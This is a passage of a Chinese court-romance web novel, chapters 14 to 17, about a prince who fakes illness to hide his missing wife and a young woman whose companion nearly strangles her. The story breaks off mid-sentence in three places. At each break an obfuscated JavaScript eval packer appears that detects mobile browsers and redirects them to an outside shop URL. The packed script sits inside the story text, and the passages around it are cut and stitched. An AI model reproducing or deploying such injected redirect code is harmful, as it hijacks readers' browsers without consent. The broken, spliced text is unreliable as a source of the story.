“你好好想想再回。”莫楚瑛把茶杯往旁边的楠木几案上一甩,杯子晃了晃,溅出去几滴茶水。 桑凌跪了下去,仿佛回廊的那一夜又要再演,软着声道,“王妃只叫奴婢把……那信交给王爷,其他一概没说啊。” “你这嘴倒是紧。”想到那十个字,莫楚瑛似乎气顺了些,手扶着额头,把他的眼遮了起来,语气里听不出有没有嘲讽,“到底是公主家的。” “王爷说笑了,奴婢、奴婢自然是王府的奴婢,是王爷的奴婢。” “可你家主子没当自己是王爷的妻子,一声不响走了十几天了,谁家的娘子能这么待自己家的夫君?”越说那声调就越往上走,一口气堵在胸口,把莫楚瑛憋得胸疼,“你倒是也不担心她在外面会不会有个三长两短?” “王爷放心,我家公……王妃武功高强,能打能杀,一定没事的。”桑凌周遭的压迫感尽数消散,见这主子忽然没了那压人的架势,倒像怨妇上了身,心里立刻松落了。 可见今日他绝不是又要行“提点”之事。 “还能打能杀?她现在就是死在外头了你也不知道。”莫楚瑛两袖一挥,背在身后站了起来,又开始来来回回地踱步。 “王爷,不会的!” “我问你……”莫楚瑛在窗边站定,挠了挠脖子,看看屋顶又看看地板,“是不是……那日……一事叫她听去,惹得她……” 桑凌支着耳朵,皱着眉用尽了心力去听,也没听懂,“王爷赎罪,奴婢耳朵不好,没听清。” “诶。”莫楚瑛叹了口气,终于把一个人堵了十三天的气给泄了,“我是问你,是不是那天我在回廊里凶你一事叫她听去,惹得她不开心了……她才、才……” 那天晚上,他在庭院里亲自煮了茶,还特地吩咐厨房弄了些好吃的糕点,等着顾瑶出现,想同她一起看看天上的月,聊聊地上的花,再好好说说他在桑凌篮子里捡到的东西。 没想到等来等去,人没等来,就等来了一张墨都没干透的纸。 “思君朝与暮,不忘为君归。” 就这十个字,害他一宿没睡。 愣是想不明白这纸上写的到底是正话还是反话! 前脚他刚靠着桑凌想“提醒”一下,叫她别忘了自己这个夫君的存在,后脚她就留了这十个字不见了踪影。 那究竟只是她在以出走抗议他欺负桑凌的做法,还是她真留了十个字的虚情假意誓要与他诀别? 一宿不见人影就一宿想不明白。 一宿又一宿,他的衣带都肉眼可见地宽了。 “才……才离家出走吗?”终于听出眼前人是什么意思的桑凌吓了一跳,把话了接了下来却觉得好笑,忍了好久才把那笑意憋了回去,“王爷多虑了。王妃绝不是离……离家出走,是……突遇急事罢了。” “什么急事?能急到连当面和我说一声的时间都没有?”莫楚瑛走到她跟前,脸色稍霁,“你站起来回话。” “谢王爷。不过王妃去干嘛了,奴婢是真的不知。”桑凌不知怎么倒生出几分不忍,便又补了一句,“但估摸着就这几日,该回来了。” “你确定?”他手指了过去,似乎一定要从她嘴里听到承诺才肯罢休。 “这……”桑凌为难地低下了头。她不过是一时心软想当好人随口安慰两句,可不想为此惹来更多诘难。 王妃什么时候回来,她哪知道呀。 “来了,来了!来了!”外头突然传来跑步声和急切的叫喊,“王爷……来人了!” 莫楚瑛没等听清,就把嘴角刚要挑起来的笑意扼杀,立刻将自己扔进了卧榻里,顺手拿了一边的毯子盖在身上,双眼闭上,一会儿又把上半身支了起来,睁开一只眼,“桑凌,告诉王妃,本王病了,知道不?” “奴婢……奴婢知道。”桑凌的眼忍不住扑闪了几下。 “你要是敢泄底,我就把你遣回云国去!”说罢就又躺了回去。 不等桑凌弯腰称“是”,那朱红色的木门就被推开,一个着茶色花袍的公公跨过门槛就跪了进来,帽檐下边一圈已经被汗湿了,“王爷,人来了!” 莫楚瑛总算是听清了他在喊什么,这语气、这称呼、这姿态统统都不是王妃回家该有的样子,倒像是哪里的夜叉跑出来祸害人了,他从塌上坐起,皱眉,“慌什么!什么人来了?” “王爷,是、是太子妃来了呀。” “她来作甚?” “说是……来看看王妃的。” “呵,这倒是稀奇了。”莫楚瑛冷笑一声,“顾瑶嫁过来四年了,她一次没正眼看过,这会儿人不在,倒非要冲上府里来演个妯娌情深。” 桑凌一听却已经垮了脸,自己拽着自己的手指一通乱拧,“这……这……” 谁都知道东宫最不好惹的就是这太子妃,万一被她揪住了事柄,把王妃不在府里的事情拿出来做了文章…… “王爷,如何是好啊?” 莫楚瑛长呼了口气,挥了挥手,“桑凌,你去,把王妃那些胭脂水粉拿来。” “王爷?” “拿来,有用。” 桑凌应着,边往门外口退,步子却走得不快,一双眼还留在场上的两个人身上。 “富林,唉,不瞒你说,我这几日,老觉得身子不太爽利。”莫楚瑛一脸煞有介事,把身子又蜷回了毯子里,右手握拳支在嘴边咳了两声,对还跪在地上的公公道,“咳、咳,你听听,胸中郁结,燥邪伤肺……” “奴才该死,竟打扰了王爷。”富林听出他的意思,连连接上,“王爷这般,需绝对静养,不宜见人、不宜见人啊。” “至于我那王妃……”莫楚瑛声音渐低,一副有气无力的样子。 “王妃自是日夜劳心,亲力亲为照顾王爷,也病倒了!” 听到此处的桑凌嘴巴不自觉地微微张开,又扑闪了几下眼,将富林的一众言行暗暗看在眼里,转身离开了。 “咳、咳。倒也不至于……”他朝跪着的人摆了摆手。 “啊,那王妃便是通宵达旦守在王爷身边,这下……累倒了!”富林在“做个好奴才”这件事上耕耘了大半辈子,自认其中佼佼者,深知想主子所想仅是基本功,如何帮主子达成其想要的结果,才是真正的关键。 可当他拿捏好了这套说辞,从静亲王的房中退出去的时候,确实没有想到,太子妃霍淇云,竟这般难对付。 这位主掌东宫二十多年的女人,听到静亲王夫妇俩一个病倒了一个累倒了的故事,连一刹那的犹豫都没有,就直接吩咐自己带来的下人把她准备送给王妃的几样补品拿去王府的厨房炖煮,带着一种不见他二人亲口喝下绝不能安心离开的长辈姿态。 富林跪下去的时候,腿软得直发颤,“太子妃恕罪,静王与王妃也是真的怕抱恙之体,对您……” 霍淇云戴着金镶珠翠软手镯的腕轻轻一胎,把剩下的话全堵回了富林的肚子里,“都是一家人,见外的话我可不爱听。” 说着就往厅里那张藤面椅上一坐,“他们若不舒坦,我就在这等一等,等他们舒坦些了,我就去看一眼,只要他们没事,我也就安心了,不会留下来吃饭惹你们烦的。” 整个宫里,都知道眼前妇人的厉害。 富林在宫里伺候还是三皇子的莫楚瑛时,到底是没这么一对一面对面地见过真章,到了今天才真晓得厉害,那刚擦干净的额边又湿漉漉了,“太子妃,奴才怕叫你等急了……” “太子妃,王爷有请。” 突然出现在门边的桑凌便如一道春风,吹开了富林打了结的心。 “这不是就舒坦了么。”霍淇云睨了一眼富林,又在椅子上整鬓弄发待了会儿,才扶着椅靠起了身,“带路吧。” 富林紧巴巴踩着小步子跟在太子妃后头,就看桑凌把她真往王爷的寝宫方向领去了,赶忙假意清了清嗓子,桑凌毫无所觉,倒把太子妃给叫住了,转过头来,“怎么?公公也不舒坦了?” “奴才一时嗓子起了沙,太子妃莫怪。” 那边桑凌已经把门推开,“王爷,太子妃来了。” 富林从外头就望见了自家王爷一脸惨白地半倚在床榻边,要不是片刻前见过他,可也要被他糊了过去,装着体恤远远叫了声,“王爷,您身子……” “无妨,给太子妃看座。”莫楚瑛忍受着脸上的脂粉,微微欠身,“皇嫂,楚瑛向你告个罪,今日便不能向你好好请安了。” 桑凌将离床最远的一把椅子拉开,便在莫楚瑛的挥手示意下退了出去。富林上去为她倒了一杯白茶,便站到了床边侍立。 “静王客气了,不必在意虚礼。”霍淇云端着身子,悠悠坐了下去,全然没有花功夫绕圈子,“这也不见瑶妹妹,不知她如何了呀。” 莫楚瑛伸手点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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若是可以,莫楚瑛希望自己永远不用再见自己的父亲。可他不能如此告诉眼前的女人,向她直言自己对皇宫里的东西兴趣全无。 所以他没有说话,等着太子妃将她那虚伪又突如其来的家常话拐到她真正的意图上。 “唉,那逆子至今未归。这无论是谁的家里头啊,总有那么几件叫人操心的事,总有那么几个叫人操心的主。” “皇长孙从小人中龙凤,自是不必担忧的。”莫楚瑛垂下眼,草草说着官面话,拇指指腹摩挲着食指,头也不肯再抬。 “唉,王爷过奖了。他这孩子,也到年纪了,可每次与他说起娶亲的事,他就……”霍淇云听到那声夸奖,脸上表情暖了几分,可话一转,就变了调,“不愿意啊。” 富林听得心慌,自己吞咽口水的声音清晰地传入耳朵,他的脖颈也好像不自觉伸长了。 左一个不愿意,右一个不愿意,单着说都没问题,可放到一起,不就意味深长了? 莫楚瑛猛地咳嗽起来,简直要将心肝脾肺肾都从嘴里吐出去的那种猛咳,缓了好久,才虚虚回道,“儿孙自有儿孙福,太子妃也不必太心急了。” 见他这般,霍淇云嘴角抖了一下,不肯作罢,又将话挑得明了一些,“可有些时候,还是得管一管的——无论是母亲对儿子,还是丈夫对妻子。” 最后半句话,一个字比一个字的音重。 富林隐隐约约听出了其中的暗示,又不敢相信心中推测,忙悄悄去看床上的主子。 “富林,你赶紧去替我请……请个大夫。”就见静王顺着身后的被子毫无顾忌躺了下去,一手摁着胸口,“皇嫂,我这突然胸痛得很。怕、怕是不能远送了。” 不等富林动作,霍淇云的脸便也不管不顾往下拉了去,眼睛往后一翻,看了看自己的侍从,“愣着干什么,静王都这样了,还不快去把王妃叫来!” 那婢女轻轻是了一声,转身就要往外走。 这等无视逐客令,是摆明了不见王妃不肯回。富林迎了上去,嘴比脑子动得快,“太子妃,使不得……” “你这该死的奴才!你家王爷都犯心疾了!你还在这傻站着作甚?还不快去请御医?耽搁了,你这条贱命赔得起吗?”霍淇云站起来,倒眉怒喝,就把富林斥在了原地,更是一动不敢动了。 “皇嫂……”莫楚瑛语带疲惫地唤了一声,就准备从床上坐起来时,忽然瞥到门口双眼就忽然直了。 “皇嫂。” 一声温婉又干脆的叫声传来,那身简洁素净的白衣便越过门槛垮了进来,“阿瑶来给你请安啦。” 15. 第 15 章 陆随心活了二十二年,从没有见过静王府这般大的宅邸。 当年在永京已经数一数二的老家,也不过是三进三出,就那点地,大火都得烧上三天三夜,要是眼前这静亲王府也着个火,那不得从春天烧到冬天,照亮温暖整个长阳城? 她一边腹诽,一边和阿柒随顾瑶自一个偏门进了王府,楼台水榭,转角回廊,过了一个又一个,走进这间客房的时候,竟觉腿脚发酸。 此时她一人正襟危坐,环顾四周,紫檀木的桌子、嵌玉圆光大座屏、五屏式扶手椅……就像是踏进了一个全然陌生的世界,生出了几分拘束的寂寥,手脚都不知该往哪儿放才合适。 “随心小姐,这是王妃让我拿给你的衣服,她嘱咐我,定要让你穿上。” 陆随心抬起头,看到眼前扎着双平髻至多不过十六岁的小姑娘正手捧一叠花花绿绿的衣物在同她说话。 小姐。 可真是遥远又陌生的称呼。 “啊,多谢这位姑娘。” “小姐客气了,叫我桑凌就好。”桑凌把衣服和一个小瓶子妥帖放到床上,“还有这瓶金疮药,也是王妃吩咐的,她说小姐手上留着疤,涂这个很管用的。” 陆随心把右手摊开,便见到那已经不再新鲜的伤口,变成了一种扭曲又丑陋的脏色,一时竟有些怔忪。 “好,替我谢谢王妃。”她摸了摸伤口,没了任何痛意,就像阿柒给的那瓶已然见底的药粉。 血能止住,痛也会消失,可伤疤到底成了难以磨灭的印记,常常惹她的眼,叫她焦躁不安。 “小姐有什么事尽管吩咐。” 陆随心若有所思地点了点头,半晌才想起来自己坐在人家背面,又开口道,“多谢桑凌姑娘。” “对了,王妃还嘱咐说,”桑凌走到这间耳房的门边,扶着门框就要替她关上时,又突然停住了脚步,“府上今日 有客来访,还望随心小姐暂时莫要乱跑,没办法,府里还是规矩多一些。” “好,我晓得的。” 他们方才从偏门进来没几步,就有人拦下了顾瑶,在她耳边悄悄说了几句话,顾瑶便将他们各自嘱托给了一位公公一位婢女,从另一条道快速离开了。 “那小姐好好休息,我先退下了。” “诶,等等。”陆随心向她倾过身,“桑凌姑娘,你可知同我一起来的那位……” “哦,你是说那位高高帅帅的小哥……小少爷是吧。”桑凌抬手在空中比划了一个高度,脸颊飞上两抹红,语气也轻快了起来,“王妃把他安排到另一边的客房了,这里是女眷休息处。” “能不能……”陆随心的问话还是扼制在了出口的一瞬间。 她不太确定这是不是个好主意。 “随心小姐,能不能什么?有事你尽管吩咐即可。” 陆随心想起阿柒,想起他总是摸不清表情的脸,那张谁都猜不出他在想什么的脸,蛰伏了十多天的心一下子猛跳了起来。 她想要知道,他到底在想什么。 她想要知道,他到底做了什么。 她想要知道,他到底是谁。 她不想再等下去了。 铃铛般清脆的女声撞开了陆随心的思绪,她看到桑凌正乖巧站在一边,等候自己的回答。 “我知这不合礼数,但能不能……带我过去?我,我寻他有事。” 桑凌抿着唇笑了一下,又往门外四处张看,才悄没声地对她说,“如此,我便带小姐偷偷过去。不过府里毕竟人多眼杂,小姐可不能在那儿久留。” 陆随心知道她误会了,点头,顺势用眼睛看着地面,做出羞赧的样子,“嗯。我……还有一事想请桑凌姑娘帮忙。” “何事?你说。” 她看了看床上的衣服,将嘴凑到桑凌耳边,继续装着扭捏的羞涩,“我其实是有样东西想送给他。但……又不好意思当面交给他。” “随心小姐放心,我懂你的意思。”桑凌一听,就伸手摸了摸自己头上的珠花头饰,一股脑点头,恨不得立刻将眼前的陆随心和那小少爷凑做一对,“我寻个借口,替你将他支开一会儿,你把东西送他房里就好。” “如此甚好。”陆随心看到她发髻后边那簇新的头饰,眼被烫伤了一般移走了。 她想,这姑娘可真是藏不住事。 像园子里到了春天就要开花的树,又烂漫又可爱。 “那小姐快把衣服换上吧,桑凌在此静候。” 顾瑶带她入住的是极高规格的客房,给她准备衣服却是府中婢女的统一服饰。 给阿柒安排的肯定亦是如此。 按照阿柒那点警觉敏锐的习性,陆随心对自己突如其来的鲁莽计划并不抱希望,可当她躲在走廊里红漆杉木的圆柱后头,静静等候着桑凌将阿柒带出房去时,还是不可遏制地听到了自己耳畔擂鼓般的声响。 “咚咚——”“咚咚——”“咚咚——” “小少爷,王妃吩咐,让我带你在这别院里参观熟悉一下。” “好,有劳了。” “您不能这么出去,王府规矩多,还是先换上这身衣服吧。我就在门口候着。” “好。” 陆随心在柱子后边抠着脚趾,死死盯着桑凌背后那扇被关起来的门,她的四个指尖紧紧扣在掌心的那道伤疤上。 这是她唯一的机会。 她赌阿柒为了应付桑菱,定想早早敷衍了事,那身窄袖光滑的护卫服看起来没什么藏东西的地方,只要阿柒有那么一瞬间放下戒备之心,选择把东西藏在屋里而不是硬带到身上,她就有机会翻出他的秘密。 也就是半盏茶的功夫,换上衣服的阿柒拉开了门,从善如流跟着桑凌,往陆随心的反方向走去了。 直到他们在转角处消失,她才把自己的全身都送到了脚尖上头,做贼似的摸了过去。 不,此刻,她就是一个贼。 但若一切能重来,陆随心一定会选择顾瑶说的“不轻举妄动”,安心待在她那间富贵逼人的客房里,等着这位事务缠身的王妃得出空闲来,好好商量一番再做打算。 如果再给她一次机会,她绝不会如此莽撞,竟妄图凭一己之力,要揪出阿柒的老底来。 她一边在心里笃定阿柒是绝对的危险人士,一边又言不由衷私自闯进屋里翻他的东西。 可见, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16768422|190147||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她要么是蠢透了,要么就是错估了被抓到的后果,以为自己能随随便便就全身而退,这一样是蠢透了的想法。 当她蹑手蹑脚地推门进去,又把门关上,在屏风后面的高凳上看到阿柒换下的脏衣竟被叠得整整齐齐时,脚底下的地板突然变得特别特别凉。 那种难以琢磨的静谧,害得她总以为要被发现,时不时就探头去看看门外有没有动静。 陆随心几乎翻遍了每一个角落。 柜子里、椅垫下、床缝间……甚至把每块地下的石板都敲了敲,什么都没有。就在她准备放弃离开的时候,她再一次瞄到了那叠脏衣服。 鬼使神差之下,陆随心将那衣袍一层层剥开,在最后一件里衣被掀起后,她看到了…… 一阵凛冽的杀气刺到了她的后背上,颈后的细毛还没来得及竖起,她就觉得眼前一黑,整个人不受控制地离了地,身子被翻了过来,后背重重摔到墙壁上,五脏六腑都要被震出来的碎裂感还没沉下来变为真实,就有一只手扼住了她的脖子。 双脚离地的陆随心双手死命地去掰开那五根深深嵌在皮肤里的桎梏,张嘴想要吸上一口气,右手掌心的伤口竟又崩开了,黏稠的血湿透了她的手,也被尽数抹在了要取她性命的人身上。 可那人手掐着她的脖子,脸却撇过去看也不看她一眼,纵使陆随心的指甲在他的手上划出多深的痕迹,他都不愿抬头,就像是不愿见到被他夺去生命之人垂死之时的挣扎和那张因此变形扭曲的脸。 “阿……阿……柒……”陆随心将两根食指不顾一切地抠进被他扼住的咽喉里,在血与痛里将不成声的叫唤送出口。 失去意识前的最后一瞬,她恍惚间看到眼前的人终于肯抬起头来。 下一瞬,陆随心就觉得自己不再腾空,将她钉死在墙壁上的力道撤了去,腿一软,屁股便触到那冰凉的地块,人也瞬间醒了过来。 “咳、咳、咳……呕……”陆随心头脑发昏,趴到地上干吐了起来。 “你……”她听到头顶传来的声音很冷,又带着点难以察觉的瑟缩与懊悔,又好像在发抖,“我……我不知道是你……” 陆随心根本无力回应。 “……就差一点,你差一点就死在我手里了。”不知是不是错觉,那话里总像是带着点恐惧。 陆随心又吐了两下,才有力气把自己翻过来撑着墙壁站起来,迷糊间看到站在眼前的人,胸膛淡青色的衣服上粘着斑斑血迹,再往上,就是那张读不出表情的脸。 可她又觉得那眉眼的冷锋格外利——他是不是还在考虑到底要不要杀掉自己? 这就是陆随心最后悔的时刻。 若一切能重来,她绝不会做这种自作聪明的找死行为。 眼前的人变得很陌生,陆随心几乎是本能般往后退,可身后就是墙壁,她能跑去哪里? 若阿柒要杀她,她又怎么可能有逃跑的机会? 她算是领教了,原来所谓濒死之境,是真能叫人魂魄出窍的。 陆随心伸出那只血手,抹了一把脸,发现那儿竟滚下了泪水,如今血水混上眼泪,涂抹着她的脸,不用镜子,也能知道自己定是一片狼藉。 16. 第 16 章 陆随心想到那个天真烂漫的姑娘,生怕她遭遇了不测,一开口才发现声音不仅哑了,还在颤栗,“桑凌呢?你把她怎么了?” “我猜是调虎离山,便打发她走了。”阿柒说着,向陆随心那儿跨了一步,要去抓她那只重又皮开肉绽的右手,有些讷讷地解释,“只是我以为是……别人。” 陆随心想也没想,直接将他挥开,又贴着墙壁退了一点,用无谓的倔强作出抵抗之态,手虚虚挡在身前,不敢看他,口中却仍无惧无畏,“你若不准备杀我,就离我远一点。” “姑娘,我从没想过要杀你……”阿柒定在原地,有些呆傻,木然道,“我只是想看看你的伤。” 陆随心能听出里头的一点后怕,可她不敢随便轻信,只是继续狠狠地别过头,闪躲着,“不必这般假惺惺。” “误伤姑娘,是阿柒之罪,请姑娘罚我吧。” 陆随心听到衣角摩挲和膝盖触地的声响,忍不住眼角撇去,竟看到他跪在了地上,一时傻眼,更加一动不敢动。 见陆随心不说话,阿柒站起来拿起一把椅子,干脆利落“啪”地折下一根凳脚,又跪着递到她面前,有些急,“阿柒背弃誓言,伤害姑娘,罪该致死。” 这下陆随心刚刚一脚踏在生死鬼门关的恐惧一下子消了个七七八八,变成了满心疑惑,“誓言?……什么誓言?你这是在……胡说什么?” 阿柒自知失言,“姑娘不必管这些,只管罚我便是。” 这算什么?!当她是傻子? 陆随心颈间被掐过的地方传来一阵阵疼痛,一时气愤之下,她真的就用左手把他手里的凳子脚拿了起来。 阿柒立刻顺势背过了身去,就像重复过无数次已经刻在身体里的动作,毫无怨言地等着她出手。 就像……一条忠诚的狗想重新求得主人的原谅。 这一刻,陆随心真觉得哭也不是笑也不是,她到底该怕他?还是可以心安理得地利用他这不知从何而来的服从? “啪——” 陆随心把凳脚往地上一扔,不怕了,愤愤地骂,“你可是差点掐死我,拿根棍打两下就能叫我原谅你吗?!” 阿柒的背影孤立在那儿,闻言忽然一松,手摸到桌子上一甩,一只杯子落了地,他捡起一块最大的碎片,轻轻把光滑的那一侧递到陆随心手里,“那用这个,见血快。” 碎片落到她手上,滚烫如铁,她不想接,呆愣愣去看阿柒,见他一点没有说笑的意思,有些吓到了,胡乱寻着借口,“我现下手疼得很,没力气罚你。” “阿柒可自罚。”说着就从她手上把碎片拿回来,利索解开袖口,撩起衣袍,露出一段结实的手臂,锋利的边缘抵了上去,血珠子霎时沁出。 不见一点留情的意思,反而越割越深,血淌了下来。 “诶!”陆随心败下阵来,将碎片抢来撇到远处,心突突狂跳,“不必,这罚……就先留着吧。” 见阿柒还是一动不动,又试探性加了一句,“等我伤好了,我定会亲自动手……罚你。” 阿柒点了点头,没再争辩,“好。” 眼下这局势便一下子倒转了过来,陆随心似乎确信阿柒不会再对自己动手,全身力气尽泄,腿发软,舌打颤,又原地坐了下去。 阿柒便站了起来,陆随心吓得又是一哆嗦,可他没朝自己来,而是走到房间的柜子边,从里头取了两条干净的巾帕,又回过来半跪到她跟前,像十几天前一样。 陆随心缩了缩手,还是任由他再一次将伤口包扎了起来。 “伤口反反复复,是要留疤的。姑娘以后一定要小心行事,对不明身份者,应敬而远之。” 一会儿伤了她,一会儿跪下要她打,一会儿拿碎片自罚,一会儿又来教育她!陆随心实在不明白眼前这人到底是什么意思。 可听到那几句教训,听到他话里的退避三舍,也顾不得自己手还被捏在他那儿的事情,忍不住反问,“你的意思,是我应该对你敬而远之?” “若不是我的短剑在进地牢时被狱卒缴了去,今日……”阿柒将那条巾帕在陆随心的手背上打了个不松不紧的结,痴痴看着那结许久,才有些艰难地把话续上,“就该我为姑娘收尸了。” 那六具原城兵的尸体就那么又晃进了陆随心的脑海,她知阿柒所言非虚,便自嘲般说,“是,今日是我运道好,没不明不白死在一个我都不知道是谁的人手里。” “姑娘,请相信我,我绝无害你之心,而只有……护你之意。”阿柒捧着宝似的将她右手轻轻放下,又去挽她的左臂,“我扶姑娘起来吧。” 陆随心不敢信他。 不仅不信,还很生气。 自己都这般说了,他却依旧没有半点透露身份的意思,仍一个劲在那说着些不明意思的空话?! 胸中淤堵的陆随心故意将他的手晾在半空,自己撑着爬了起来,到那边选了把完好的凳子坐下,又嘲又讽道,“我觉得你那话说得有道理,我以后一定离你远一些。” 阿柒将空空如也的手收了回来,眼眸低垂,哑声问,“姑娘的意思是……不想我留在身边吗?” 陆随心一听他竟不否认,还顺杆子爬了,愈加愤懑,“对啊!不是你自己说的要对不明身份者敬而远之些!” “姑娘想知道什么?” “我想知道你便告诉吗?”为了证明他的话不过又是一句唬人的虚言,陆随心便不顾一切走到那屏风后面,把压在衣服最底下那块差点让她丢了性命的东西拿了出来,举到他面前,“那我问你,这东西是什么?是不是你在客栈那个男人身上偷来的?他到底是谁?还有刘一德……他们两个人是不是都是你杀的?” “这是他的身份证明。是我偷来的。我不能说。是。”阿柒慢慢转过身,看着陆随心。 四个问题,他真的好好回答了三个。 可只有最后那个平静如水的“是”让陆随心胆寒心颤,在阿柒真正承认之前,她都可以假装未经证实的推测永远只是推测,可一旦他自己承认,就再也找不到借口了。如果那六个原城士兵的死亡,她可以将之轻易地归为保全自己性命的无奈之举,那这两个人呢? 难道不是血淋淋地证明了,她当时一眼就看出来的真相吗? 眼前这个男人,是从地底钻出来的,杀人不眨眼的……恶魔。 这样的人说对自己没有谋害之心只有保护之意,如何能信? 对这样的人抛出哪怕半分真心,不是都该算作愚蠢? 陆随心觉得自己被黑山洞吞没了,她把东西扔到桌上,哑着声问,“为什么?为什么要杀了他们?” 虽说问了,可她并不指望阿柒能回答。 “为了守住秘密。” “什么?”陆随心以为自己的耳朵出现了幻觉,当她抬起头,好像看到了阿柒眼里闪过的阴翳,那是一种隐忍的痛苦,“客栈里那人,到底是谁?” “姑娘,这我不能说。你多知道一点,就会更危险一点。”他把手里的另一根巾帕递过去,遮住了陆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“有一点你说对了,我不想你留在我身边,我也不想要你的保护。”她把巾帕接了过来,把脸上的血水泪水尽数擦去,也把所有阻止她说出那句话的心绪甩到了地上,她听到自己的声音平静地就像没有风的寒冬,万物静止,冻彻骨髓,“阿柒,你走吧,离开这里。” “姑娘……” “放心,我对你的事情仍是一问三不知,就算阿瑶问起,我想出卖你也没那本事。”陆随心把脏了的巾帕扔到桌上,也顺势将他的犹豫认作对自己的怀疑,便把所有能硬起的心肠都化作寒气,直直刺进他的眼里,“但你若实在不放心,也可以把刚刚没完成的事情接着做完。” 说完,她把自己指印未消的脖颈递了过去,伸到了他的眼皮子底下。 “姑娘,我不是这个意思。你若想要我离开,我这就走。”阿柒把目光瞥开,似乎不愿看到那皙白皮肤上的红印子,他将自己的东西草草收拾了,就在沉默的陆随心面前往门口走去,“只是有一事,望姑娘能答应我。” 陆随心本想就这么背对着直到再听不见他的声音,可阿柒的话里越是冷静,她的小脾气就越显娇作,于是她也好好地回了一声,“何事?” “请姑娘继续留在这里,不要离开静王府,更不要回云国。” “……为什么?” “云国对你来说,已非安全之地。请姑娘一定要答应我。” 17. 第 17 章 顾瑶能感觉到自己的突然出现打了霍淇云一个措手不及。 她装作看不懂这位太子妃脸上的错愕与厌恶,将在深宫生活二十几年的习惯都灌进了那不带感情的盈盈一拜上。 安稳、从容、不骄不躁。 她也没有浪费时间去等太子妃不情不愿的回礼,而是用最快的速度走到了她的夫君塌前,扶着他的“弱柳之身”,用一个妻子最为关切的语气问候,“王爷,怎么了?是不是又疼了?” “只是一阵罢了,现在好多了,不妨事,阿瑶放心。”莫楚瑛嘴上缱绻,眼却没好好看着自己的妻子,而是望着立在不远处不见退意的太子妃,又一次直白地下了逐客令,“你替我送送皇嫂吧。” “是……” “不必了。”不等顾瑶真的站起身来,霍淇云就伸手遥遥劝阻,眉毛轻飘飘地撇了过去,“既看到你二人如此鹣鲽情深,我这做嫂嫂的也就安心了。静王好生休息,我便先走了。” 顾瑶为着体面,还是迎上去要送送她。 霍淇云手持着绢帕轻轻点在了自己鼻子上,把头转过去一些,“阿瑶妹妹,你这几日服侍静王可真是辛苦了,怕连沐浴更衣的时间都挤不出,真是难为你了。” 顾瑶脸色一白,生生扼制了要低头看自己衣服的冲动。她连日奔波,一进王府就按着桑凌告诉的故事,换成休息的便衣冲来,倒是被这老妇看出了破绽,“皇嫂言重了,都是阿瑶分内之事。” “娶到阿瑶这么个体己的人儿,是我们静王的福气。”霍淇云扇了扇鼻子,高高地看着眼前什么都没有的虚空,明明是夸顾瑶,也不转头去瞧她。 “皇嫂夸得阿瑶都要脸红了。” “那倒也不必,我们静王也好得很,也是阿瑶的福气。”霍淇云说着又停了脚步,头一次回过身去,肯好好赏脸看一眼顾瑶了,可那语气三曲九弯,能把人绕得头晕眼胀,“我不知在云国是什么个说法,在我们定国,若是嫁了静王这样的好男儿,但凡有点眼力的,自然都是要好好珍惜的。你说是不是,阿瑶妹妹?要是哪个做出不珍惜的事儿来……” 顾瑶脑袋一片空白,嘴也跟着哑了。 她这是……在暗示什么? “皇嫂,你方才有几句真是说到我心坎里了。”一直倚在那儿的莫楚瑛似乎失去了装病的耐心,先前的疼痛之态全然消失,整个人懒洋洋靠在那,就像刚睡醒的样子,话却清醒,甚至刺耳,“有些时候,是得管一管,可无论怎么管……那都是关起门来的事,哪有外人置喙的余地?” 屋里一下静了,能听到外头传来布靴在地上迅速拔起又落下的连续声响。 “噌噌噌”,速度极快,但屋内无人在意。 富林缩紧了脚跟,夹住了屁股。 “你!”霍淇云两条眉毛齐齐往鼻根中间挤过去,嘴也跟着歪了。 “就像我这地儿,外面挂的匾子不知您看没看,它写的是’静王府’,可不是东宫,也不是霍家。” 富林嘴里的涎水咽到一半卡住,只敢把咳嗽的冲动掐回腹中,生怕漏出一点声响。 顾瑶看向自己的夫君,眼怀感激之意,可莫楚瑛却把脸转了过去。 “好,好。倒是我僭越了。”霍淇云气得直哼哼,头上的翠玉钿子也跟着晃了起来,“我不过是静王的嫂嫂罢了,嫂嫂自然是外人,哪敢真来管教!” 屋外的声响越来越急,一个人影闯到门外,扑通一声跪了下来,打断了这场即将愈演愈烈的争端,也彻底反转了在场几人的脸色。 “太子妃,太子妃,奴才有事禀报……” “慌什么?你这狗奴才!好好说话!”霍淇云看清来人着装,立刻骂了过去。 “是、是……皇长孙回来了!” “你说什么?!” “皇长孙,他刚刚回宫了。” “哎呀,我儿回来了!”霍淇云的眉梢瞬间挂上了掩盖不住的喜色,连带着方才受的气也忘了,转过头不冷不热地说了一句,“那我便告辞了,只要大家都肯各自摆正位置,这天下自然太平。” 琳琅珠宝乘着霍淇云跨出了屋子,屋里霎时冷清下来。 “王爷……”顾瑶无暇去想莫子翊,软软地叫了一声自家夫君,却撞上又臭又硬石头一样的脸,她向富林挥了挥手,要他出去。 富林小心翼翼地瞄了瞄静王,看到他的下颌以一个微乎其微的弧度抬了一下,便立刻静静地转身离开了,在门口遇上了不知从哪儿回来的桑凌,赶紧使着眼色将她一起拉走了。 “王爷再怎么生气,也都是应该的。可也要给阿瑶个机会,让阿瑶解释一下吧。”顾瑶观察着眼前人的颜色,轻轻扯了扯他的袖子。 